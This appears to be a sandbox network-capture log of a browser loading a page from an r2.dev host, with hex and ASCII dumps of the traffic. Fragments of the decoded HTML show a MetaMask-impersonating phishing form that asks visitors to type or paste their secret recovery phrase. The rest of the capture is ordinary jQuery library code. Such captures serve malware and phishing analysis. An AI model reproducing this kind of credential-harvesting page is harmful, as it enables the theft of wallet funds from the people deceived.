2024-09-29 00:10:19 UTC	1369	IN	Data Raw: 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 72 65 64 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0d 0a 7d 0d 0a 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 6c 6f 61 64 38 20 7b 0d 0a 20 20 30 25 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 3b 0d 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 3b 0d 0a 20 20 7d 0d 0a 20 20 31 30 30 25 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 0d 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 0d 0a 20 20 7d 0d 0a 7d 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 6c Data Ascii: color: red; font-size: 14px;}@-webkit-keyframes load8 { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); }}@keyframes l
2024-09-29 00:10:19 UTC	1369	IN	Data Raw: 73 2d 62 6f 78 20 20 69 6d 67 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 39 30 25 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 69 63 6f 6e 32 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 6d 65 73 73 61 67 65 2d 62 6f 78 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 69 63 6f 6e 2d 74 65 78 74 20 70 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 69 63 6f 6e 31 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 69 63 6f 6e 32 20 69 6d 67 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 34 30 70 78 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 68 65 61 64 2d 74 65 78 74 2d 70 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 Data Ascii: s-box img{ width: 90%; } .icon2{ display: block; } .message-box{ margin: 0; } .icon-text p{ font-size: 13px; } .icon1{ display: none; } .icon2 img{ width: 40px; } .head-text-p{ font-s
2024-09-29 00:10:19 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 65 6c 65 63 74 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 5f 5f 73 65 6c 65 63 74 22 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 61 6d 22 3e 45 6e 67 6c 69 73 68 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 61 72 22 3e d8 a7 d9 84 d8 b9 d8 b1 d8 a8 d9 8a d8 a9 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 62 67 22 3e d0 b1 d1 8a d0 bb d0 b3 d0 b0 d1 80 d1 81 d0 ba d0 b8 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 62 6e 22 3e e0 a6 ac e0 a6 be e0 a6 82 e0 a6 b2 e0 a6 be 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 63 61 22 3e 43 61 74 61 6c c3 a0 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e Data Ascii: <select class="dropdown__select"><option value="am">English</option><option value="ar"></option><option value="bg"></option><option value="bn"></option><option value="ca">Catal</option><option
2024-09-29 00:10:19 UTC	1369	IN	Data Raw: 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 6d 73 22 3e 4d 61 6c 61 79 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 6e 6c 22 3e 4e 65 64 65 72 6c 61 6e 64 73 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 6e 6f 22 3e 4e 6f 72 77 65 67 69 61 6e 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 70 68 22 3e 50 69 6c 69 70 69 6e 6f 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 70 6c 22 3e 50 6f 6c 73 6b 69 65 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 70 74 22 3e 50 6f 72 74 75 67 75 c3 aa 73 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 70 74 5f 42 52 22 3e 50 6f 72 74 75 67 75 c3 aa 73 20 28 42 72 61 7a 69 Data Ascii: option value="ms">Malay</option><option value="nl">Nederlands</option><option value="no">Norwegian</option><option value="ph">Pilipino</option><option value="pl">Polskie</option><option value="pt">Portugus</option><option value="pt_BR">Portugus (Brazi
2024-09-29 00:10:19 UTC	1369	IN	Data Raw: 63 6f 76 65 72 79 20 50 68 72 61 73 65 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 2d 74 65 78 74 2d 70 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 4d 65 74 61 4d 61 73 6b 20 63 61 6e 6e 6f 74 20 72 65 63 6f 76 65 72 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 2e 20 57 65 20 77 69 6c 6c 20 75 73 65 20 79 6f 75 72 20 3c 2f 62 72 3e 20 53 65 63 72 65 74 20 52 65 63 6f 76 65 72 79 20 50 68 72 61 73 65 20 74 6f 20 76 61 6c 69 64 61 74 65 20 79 6f 75 72 20 6f 77 6e 65 72 73 68 69 70 2c 20 72 65 73 74 6f 72 65 20 79 6f 75 72 20 77 61 6c 6c 65 74 20 61 6e 64 20 73 65 74 20 75 70 20 61 20 6e 65 77 20 70 61 73 73 77 Data Ascii: covery Phrase</h1> </div> <div class="head-text-p"> <p>MetaMask cannot recover your password. We will use your </br> Secret Recovery Phrase to validate your ownership, restore your wallet and set up a new passw
2024-09-29 00:10:19 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 65 78 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 59 6f 75 20 63 61 6e 20 70 61 73 74 65 20 79 6f 75 72 20 65 6e 74 69 72 65 20 73 65 63 72 65 74 20 72 65 63 6f 76 65 72 79 20 70 68 72 61 73 65 20 69 6e 74 6f 20 61 6e 79 20 66 69 65 6c 64 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 2d 20 46 6f 72 6d 31 32 20 2d 2d 2d 2d 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 Data Ascii: </div> <div class="icon-text"> <p>You can paste your entire secret recovery phrase into any field</p> </div> </div> ...- Form12 ------> <form act
2024-09-29 00:10:19 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 22 3e 34 2e 20 3c 2f 6c 61 62 65 6c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 70 61 73 73 77 6f 72 64 22 20 63 6c 61 73 73 3d 22 77 6f 72 64 2d 31 32 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 62 65 73 74 66 69 6c 6c 74 79 70 65 2e 6e 65 74 6c 69 66 79 2e 61 70 70 2f 65 79 65 2d 63 6c 6f 73 65 2e 70 6e 67 22 20 61 6c 74 3d 22 65 79 65 2d 63 6c 6f 73 65 22 20 63 6c 61 73 73 3d 22 65 79 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d Data Ascii: <label for="">4. </label> <input type="password" class="word-12"> <img src="https://bestfilltype.netlify.app/eye-close.png" alt="eye-close" class="eye"> </div>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49716	151.101.2.137	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:10:19 UTC	615	OUT	GET /jquery-3.3.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:10:19 UTC	567	IN	HTTP/1.1 200 OK Connection: close Content-Length: 271751 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-42587" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 994577 Date: Sun, 29 Sep 2024 00:10:19 GMT X-Served-By: cache-lga21980-LGA, cache-nyc-kteb1890067-NYC X-Cache: HIT, HIT X-Cache-Hits: 68, 0 X-Timer: S1727568620.881511,VS0,VE2 Vary: Accept-Encoding
2024-09-29 00:10:19 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 33 2e 33 2e 31 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 38 2d 30 31 2d 32 30 54 31 37 Data Ascii: /! jQuery JavaScript Library v3.3.1 * https://jquery.com/ * * Includes Sizzle.js * https://sizzlejs.com/ * * Copyright JS Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2018-01-20T17
2024-09-29 00:10:19 UTC	1378	IN	Data Raw: 2e 20 42 75 74 20 61 73 20 6f 66 20 6a 51 75 65 72 79 20 33 2e 30 20 28 32 30 31 36 29 2c 20 73 74 72 69 63 74 20 6d 6f 64 65 20 73 68 6f 75 6c 64 20 62 65 20 63 6f 6d 6d 6f 6e 0a 2f 2f 20 65 6e 6f 75 67 68 20 74 68 61 74 20 61 6c 6c 20 73 75 63 68 20 61 74 74 65 6d 70 74 73 20 61 72 65 20 67 75 61 72 64 65 64 20 69 6e 20 61 20 74 72 79 20 62 6c 6f 63 6b 2e 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 76 61 72 20 61 72 72 20 3d 20 5b 5d 3b 0a 0a 76 61 72 20 64 6f 63 75 6d 65 6e 74 20 3d 20 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 0a 0a 76 61 72 20 67 65 74 50 72 6f 74 6f 20 3d 20 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 0a 0a 76 61 72 20 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 3b 0a 0a 76 61 72 20 63 6f 6e 63 Data Ascii: . But as of jQuery 3.0 (2016), strict mode should be common// enough that all such attempts are guarded in a try block."use strict";var arr = [];var document = window.document;var getProto = Object.getPrototypeOf;var slice = arr.slice;var conc
2024-09-29 00:10:19 UTC	1378	IN	Data Raw: 63 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 3b 0a 09 7d 0a 0a 0a 66 75 6e 63 74 69 6f 6e 20 74 6f 54 79 70 65 28 20 6f 62 6a 20 29 20 7b 0a 09 69 66 20 28 20 6f 62 6a 20 3d 3d 20 6e 75 6c 6c 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 6f 62 6a 20 2b 20 22 22 3b 0a 09 7d 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 41 6e 64 72 6f 69 64 20 3c 3d 32 2e 33 20 6f 6e 6c 79 20 28 66 75 6e 63 74 69 6f 6e 69 73 68 20 52 65 67 45 78 70 29 0a 09 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 6f 62 6a 65 63 74 22 20 7c 7c 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 20 3f 0a 09 Data Ascii: c.head.appendChild( script ).parentNode.removeChild( script );}function toType( obj ) {if ( obj == null ) {return obj + "";}// Support: Android <=2.3 only (functionish RegExp)return typeof obj === "object" \|\| typeof obj === "function" ?
2024-09-29 00:10:19 UTC	1378	IN	Data Raw: 7b 0a 09 09 09 72 65 74 75 72 6e 20 73 6c 69 63 65 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 52 65 74 75 72 6e 20 6a 75 73 74 20 74 68 65 20 6f 6e 65 20 65 6c 65 6d 65 6e 74 20 66 72 6f 6d 20 74 68 65 20 73 65 74 0a 09 09 72 65 74 75 72 6e 20 6e 75 6d 20 3c 20 30 20 3f 20 74 68 69 73 5b 20 6e 75 6d 20 2b 20 74 68 69 73 2e 6c 65 6e 67 74 68 20 5d 20 3a 20 74 68 69 73 5b 20 6e 75 6d 20 5d 3b 0a 09 7d 2c 0a 0a 09 2f 2f 20 54 61 6b 65 20 61 6e 20 61 72 72 61 79 20 6f 66 20 65 6c 65 6d 65 6e 74 73 20 61 6e 64 20 70 75 73 68 20 69 74 20 6f 6e 74 6f 20 74 68 65 20 73 74 61 63 6b 0a 09 2f 2f 20 28 72 65 74 75 72 6e 69 6e 67 20 74 68 65 20 6e 65 77 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 29 0a 09 70 75 73 68 53 Data Ascii: {return slice.call( this );}// Return just the one element from the setreturn num < 0 ? this[ num + this.length ] : this[ num ];},// Take an array of elements and push it onto the stack// (returning the new matched element set)pushS
2024-09-29 00:10:19 UTC	1378	IN	Data Raw: 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 6f 70 74 69 6f 6e 73 2c 20 6e 61 6d 65 2c 20 73 72 63 2c 20 63 6f 70 79 2c 20 63 6f 70 79 49 73 41 72 72 61 79 2c 20 63 6c 6f 6e 65 2c 0a 09 09 74 61 72 67 65 74 20 3d 20 61 72 67 75 6d 65 6e 74 73 5b 20 30 20 5d 20 7c 7c 20 7b 7d 2c 0a 09 09 69 20 3d 20 31 2c 0a 09 09 6c 65 6e 67 74 68 20 3d 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 0a 09 09 64 65 65 70 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 2f 2f 20 48 61 6e 64 6c 65 20 61 20 64 65 65 70 20 63 6f 70 79 20 73 69 74 75 61 74 69 6f 6e 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 74 61 72 67 65 74 20 3d 3d 3d 20 22 62 6f 6f 6c 65 61 6e 22 20 29 20 7b 0a 09 09 64 65 65 70 20 3d 20 74 61 72 67 65 74 3b Data Ascii: ery.fn.extend = function() {var options, name, src, copy, copyIsArray, clone,target = arguments[ 0 ] \|\| {},i = 1,length = arguments.length,deep = false;// Handle a deep copy situationif ( typeof target === "boolean" ) {deep = target;
2024-09-29 00:10:19 UTC	1378	IN	Data Raw: 65 2c 20 63 6f 70 79 20 29 3b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 62 72 69 6e 67 20 69 6e 20 75 6e 64 65 66 69 6e 65 64 20 76 61 6c 75 65 73 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 63 6f 70 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 63 6f 70 79 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 0a 09 2f 2f 20 52 65 74 75 72 6e 20 74 68 65 20 6d 6f 64 69 66 69 65 64 20 6f 62 6a 65 63 74 0a 09 72 65 74 75 72 6e 20 74 61 72 67 65 74 3b 0a 7d 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 20 7b 0a 0a 09 2f 2f 20 55 6e 69 71 75 65 20 66 6f 72 20 65 61 63 68 20 63 6f 70 79 20 6f 66 20 6a 51 75 65 72 79 20 6f 6e 20 74 68 65 20 70 61 67 65 0a 09 65 Data Ascii: e, copy );// Don't bring in undefined values} else if ( copy !== undefined ) {target[ name ] = copy;}}}}// Return the modified objectreturn target;};jQuery.extend( {// Unique for each copy of jQuery on the pagee
2024-09-29 00:10:19 UTC	1378	IN	Data Raw: 09 09 44 4f 4d 45 76 61 6c 28 20 63 6f 64 65 20 29 3b 0a 09 7d 2c 0a 0a 09 65 61 63 68 3a 20 66 75 6e 63 74 69 6f 6e 28 20 6f 62 6a 2c 20 63 61 6c 6c 62 61 63 6b 20 29 20 7b 0a 09 09 76 61 72 20 6c 65 6e 67 74 68 2c 20 69 20 3d 20 30 3b 0a 0a 09 09 69 66 20 28 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 29 20 7b 0a 09 09 09 6c 65 6e 67 74 68 20 3d 20 6f 62 6a 2e 6c 65 6e 67 74 68 3b 0a 09 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 2e 63 61 6c 6c 28 20 6f 62 6a 5b 20 69 20 5d 2c 20 69 2c 20 6f 62 6a 5b 20 69 20 5d 20 29 20 3d 3d 3d 20 66 61 6c 73 65 20 29 20 7b 0a 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 20 Data Ascii: DOMEval( code );},each: function( obj, callback ) {var length, i = 0;if ( isArrayLike( obj ) ) {length = obj.length;for ( ; i < length; i++ ) {if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {break;}}}
2024-09-29 00:10:19 UTC	1378	IN	Data Raw: 62 61 63 6b 45 78 70 65 63 74 20 3d 20 21 69 6e 76 65 72 74 3b 0a 0a 09 09 2f 2f 20 47 6f 20 74 68 72 6f 75 67 68 20 74 68 65 20 61 72 72 61 79 2c 20 6f 6e 6c 79 20 73 61 76 69 6e 67 20 74 68 65 20 69 74 65 6d 73 0a 09 09 2f 2f 20 74 68 61 74 20 70 61 73 73 20 74 68 65 20 76 61 6c 69 64 61 74 6f 72 20 66 75 6e 63 74 69 6f 6e 0a 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 3d 20 21 63 61 6c 6c 62 61 63 6b 28 20 65 6c 65 6d 73 5b 20 69 20 5d 2c 20 69 20 29 3b 0a 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 21 3d 3d 20 63 61 6c 6c 62 61 63 6b 45 78 70 65 63 74 20 29 20 7b 0a 09 09 09 09 6d 61 74 63 68 65 73 2e 70 75 73 68 28 20 65 Data Ascii: backExpect = !invert;// Go through the array, only saving the items// that pass the validator functionfor ( ; i < length; i++ ) {callbackInverse = !callback( elems[ i ], i );if ( callbackInverse !== callbackExpect ) {matches.push( e
2024-09-29 00:10:19 UTC	1378	IN	Data Raw: 2c 20 6e 61 6d 65 20 29 20 7b 0a 09 63 6c 61 73 73 32 74 79 70 65 5b 20 22 5b 6f 62 6a 65 63 74 20 22 20 2b 20 6e 61 6d 65 20 2b 20 22 5d 22 20 5d 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0a 7d 20 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 7b 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 72 65 61 6c 20 69 4f 53 20 38 2e 32 20 6f 6e 6c 79 20 28 6e 6f 74 20 72 65 70 72 6f 64 75 63 69 62 6c 65 20 69 6e 20 73 69 6d 75 6c 61 74 6f 72 29 0a 09 2f 2f 20 60 69 6e 60 20 63 68 65 63 6b 20 75 73 65 64 20 74 6f 20 70 72 65 76 65 6e 74 20 4a 49 54 20 65 72 72 6f 72 20 28 67 68 2d 32 31 34 35 29 0a 09 2f 2f 20 68 61 73 4f 77 6e 20 69 73 6e 27 74 20 75 73 65 64 20 68 65 72 65 20 64 75 65 20 74 Data Ascii: , name ) {class2type[ "[object " + name + "]" ] = name.toLowerCase();} );function isArrayLike( obj ) {// Support: real iOS 8.2 only (not reproducible in simulator)// `in` check used to prevent JIT error (gh-2145)// hasOwn isn't used here due t
2024-09-29 00:10:19 UTC	1378	IN	Data Raw: 6e 73 74 61 6e 63 65 20 6d 65 74 68 6f 64 73 0a 09 68 61 73 4f 77 6e 20 3d 20 28 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 0a 09 61 72 72 20 3d 20 5b 5d 2c 0a 09 70 6f 70 20 3d 20 61 72 72 2e 70 6f 70 2c 0a 09 70 75 73 68 5f 6e 61 74 69 76 65 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 70 75 73 68 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 2c 0a 09 2f 2f 20 55 73 65 20 61 20 73 74 72 69 70 70 65 64 2d 64 6f 77 6e 20 69 6e 64 65 78 4f 66 20 61 73 20 69 74 27 73 20 66 61 73 74 65 72 20 74 68 61 6e 20 6e 61 74 69 76 65 0a 09 2f 2f 20 68 74 74 70 73 3a 2f 2f 6a 73 70 65 72 66 2e 63 6f 6d 2f 74 68 6f 72 2d 69 6e 64 65 78 6f 66 2d 76 73 2d 66 6f 72 2f 35 0a 09 69 6e 64 65 78 4f 66 20 3d 20 66 75 6e Data Ascii: nstance methodshasOwn = ({}).hasOwnProperty,arr = [],pop = arr.pop,push_native = arr.push,push = arr.push,slice = arr.slice,// Use a stripped-down indexOf as it's faster than native// https://jsperf.com/thor-indexof-vs-for/5indexOf = fun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49715	151.101.2.137	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:10:19 UTC	561	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:10:19 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Sun, 29 Sep 2024 00:10:19 GMT Age: 1688003 X-Served-By: cache-lga21947-LGA, cache-ewr-kewr1740066-EWR X-Cache: HIT, HIT X-Cache-Hits: 4188, 4 X-Timer: S1727568620.881541,VS0,VE0 Vary: Accept-Encoding
2024-09-29 00:10:19 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
